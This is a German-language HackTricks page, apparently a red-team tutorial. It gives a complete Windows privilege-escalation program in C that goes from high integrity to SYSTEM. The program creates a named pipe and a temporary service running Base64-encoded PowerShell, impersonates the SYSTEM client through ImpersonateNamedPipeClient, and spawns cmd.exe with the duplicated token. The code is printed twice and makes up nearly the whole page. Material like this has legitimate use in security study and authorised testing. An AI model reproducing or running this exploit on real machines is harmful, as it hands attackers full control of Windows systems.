From High Integrity to SYSTEM with Name Pipes

Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstütze HackTricks

Überprüfe die Abonnementpläne!
Tritt der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folge uns auf Twitter 🐦 @hacktricks_live.
Teile Hacking-Tricks, indem du PRs zu den HackTricks und HackTricks Cloud GitHub-Repos einreichst.

Codefluss:

Erstelle eine neue Pipe
Erstelle und starte einen Dienst, der sich mit der erstellten Pipe verbindet und etwas schreibt. Der Dienstcode wird diesen codierten PS-Code ausführen: $pipe = new-object System.IO.Pipes.NamedPipeClientStream("piper"); $pipe.Connect(); $sw = new-object System.IO.StreamWriter($pipe); $sw.WriteLine("Go"); $sw.Dispose();
Der Dienst empfängt die Daten vom Client in der Pipe, ruft ImpersonateNamedPipeClient auf und wartet, bis der Dienst fertig ist
Schließlich verwendet er das Token, das vom Dienst erhalten wurde, um ein neues cmd.exe zu starten

Wenn du nicht genügend Berechtigungen hast, kann der Exploit stecken bleiben und niemals zurückkehren.

#include <windows.h>
#include <time.h>

#pragma comment (lib, "advapi32")
#pragma comment (lib, "kernel32")

#define PIPESRV "PiperSrv"
#define MESSAGE_SIZE 512

int ServiceGo(void) {

SC_HANDLE scManager;
SC_HANDLE scService;

scManager = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_ALL_ACCESS);

if (scManager == NULL) {
return FALSE;
}

// create Piper service
scService = CreateServiceA(scManager, PIPESRV, PIPESRV, SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL,
"C:\\Windows\\\System32\\cmd.exe /rpowershell.exe -EncodedCommand JABwAGkAcABlACAAPQAgAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAFAAaQBwAGUAcwAuAE4AYQBtAGUAZABQAGkAcABlAEMAbABpAGUAbgB0AFMAdAByAGUAYQBtACgAIgBwAGkAcABlAHIAIgApADsAIAAkAHAAaQBwAGUALgBDAG8AbgBuAGUAYwB0ACgAKQA7ACAAJABzAHcAIAA9ACAAbgBlAHcALQBvAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AUwB0AHIAZQBhAG0AVwByAGkAdABlAHIAKAAkAHAAaQBwAGUAKQA7ACAAJABzAHcALgBXAHIAaQB0AGUATABpAG4AZQAoACIARwBvACIAKQA7ACAAJABzAHcALgBEAGkAcwBwAG8AcwBlACgAKQA7AA==",
NULL, NULL, NULL, NULL, NULL);

if (scService == NULL) {
//printf("[!] CreateServiceA() failed: [%d]\n", GetLastError());
return FALSE;
}

// launch it
StartService(scService, 0, NULL);

// wait a bit and then cleanup
Sleep(10000);
DeleteService(scService);

CloseServiceHandle(scService);
CloseServiceHandle(scManager);
}

int main() {

LPCSTR sPipeName = "\\\\.\\pipe\\piper";
HANDLE hSrvPipe;
HANDLE th;
BOOL bPipeConn;
char pPipeBuf[MESSAGE_SIZE];
DWORD dBRead = 0;

HANDLE hImpToken;
HANDLE hNewToken;
STARTUPINFOA si;
PROCESS_INFORMATION pi;

// open pipe
hSrvPipe = CreateNamedPipeA(sPipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE | PIPE_WAIT,
PIPE_UNLIMITED_INSTANCES, 1024, 1024, 0, NULL);

// create and run service
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)ServiceGo, NULL, 0, 0);

// wait for the connection from the service
bPipeConn = ConnectNamedPipe(hSrvPipe, NULL);
if (bPipeConn) {
ReadFile(hSrvPipe, &pPipeBuf, MESSAGE_SIZE, &dBRead, NULL);

// impersonate the service (SYSTEM)
if (ImpersonateNamedPipeClient(hSrvPipe) == 0) {
return -1;
}

// wait for the service to cleanup
WaitForSingleObject(th, INFINITE);

// get a handle to impersonated token
if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hImpToken)) {
return -2;
}

// create new primary token for new process
if (!DuplicateTokenEx(hImpToken, TOKEN_ALL_ACCESS, NULL, SecurityDelegation,
TokenPrimary, &hNewToken)) {
return -4;
}

//Sleep(20000);
// spawn cmd.exe as full SYSTEM user
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
if (!CreateProcessWithTokenW(hNewToken, LOGON_NETCREDENTIALS_ONLY, L"cmd.exe", NULL,
NULL, NULL, NULL, (LPSTARTUPINFOW)&si, &pi)) {
return -5;
}

// revert back to original security context
RevertToSelf();

}

return 0;
}

Unterstütze HackTricks

Überprüfe die Abonnementpläne!
Tritt der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folge uns auf Twitter 🐦 @hacktricks_live.
Teile Hacking-Tricks, indem du PRs zu den HackTricks und HackTricks Cloud GitHub-Repos einreichst.

PreviousDPAPI - Extracting Passwords NextIntegrity Levels

Last updated 4 months ago

#include <windows.h> #include <time.h> #pragma comment (lib, "advapi32") #pragma comment (lib, "kernel32") #define PIPESRV "PiperSrv" #define MESSAGE_SIZE 512 int ServiceGo(void) { SC_HANDLE scManager; SC_HANDLE scService; scManager = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_ALL_ACCESS); if (scManager == NULL) { return FALSE; } // create Piper service scService = CreateServiceA(scManager, PIPESRV, PIPESRV, SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL, "C:\\Windows\\\System32\\cmd.exe /rpowershell.exe -EncodedCommand JABwAGkAcABlACAAPQAgAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAFAAaQBwAGUAcwAuAE4AYQBtAGUAZABQAGkAcABlAEMAbABpAGUAbgB0AFMAdAByAGUAYQBtACgAIgBwAGkAcABlAHIAIgApADsAIAAkAHAAaQBwAGUALgBDAG8AbgBuAGUAYwB0ACgAKQA7ACAAJABzAHcAIAA9ACAAbgBlAHcALQBvAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AUwB0AHIAZQBhAG0AVwByAGkAdABlAHIAKAAkAHAAaQBwAGUAKQA7ACAAJABzAHcALgBXAHIAaQB0AGUATABpAG4AZQAoACIARwBvACIAKQA7ACAAJABzAHcALgBEAGkAcwBwAG8AcwBlACgAKQA7AA==", NULL, NULL, NULL, NULL, NULL); if (scService == NULL) { //printf("[!] CreateServiceA() failed: [%d]\n", GetLastError()); return FALSE; } // launch it StartService(scService, 0, NULL); // wait a bit and then cleanup Sleep(10000); DeleteService(scService); CloseServiceHandle(scService); CloseServiceHandle(scManager); } int main() { LPCSTR sPipeName = "\\\\.\\pipe\\piper"; HANDLE hSrvPipe; HANDLE th; BOOL bPipeConn; char pPipeBuf[MESSAGE_SIZE]; DWORD dBRead = 0; HANDLE hImpToken; HANDLE hNewToken; STARTUPINFOA si; PROCESS_INFORMATION pi; // open pipe hSrvPipe = CreateNamedPipeA(sPipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, 1024, 1024, 0, NULL); // create and run service th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)ServiceGo, NULL, 0, 0); // wait for the connection from the service bPipeConn = ConnectNamedPipe(hSrvPipe, NULL); if (bPipeConn) { ReadFile(hSrvPipe, &pPipeBuf, MESSAGE_SIZE, &dBRead, NULL); // impersonate the service (SYSTEM) if (ImpersonateNamedPipeClient(hSrvPipe) == 0) { return -1; } // wait for the service to cleanup WaitForSingleObject(th, INFINITE); // get a handle to impersonated token if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hImpToken)) { return -2; } // create new primary token for new process if (!DuplicateTokenEx(hImpToken, TOKEN_ALL_ACCESS, NULL, SecurityDelegation, TokenPrimary, &hNewToken)) { return -4; } //Sleep(20000); // spawn cmd.exe as full SYSTEM user ZeroMemory(&si, sizeof(si)); si.cb = sizeof(si); ZeroMemory(&pi, sizeof(pi)); if (!CreateProcessWithTokenW(hNewToken, LOGON_NETCREDENTIALS_ONLY, L"cmd.exe", NULL, NULL, NULL, NULL, (LPSTARTUPINFOW)&si, &pi)) { return -5; } // revert back to original security context RevertToSelf(); } return 0; }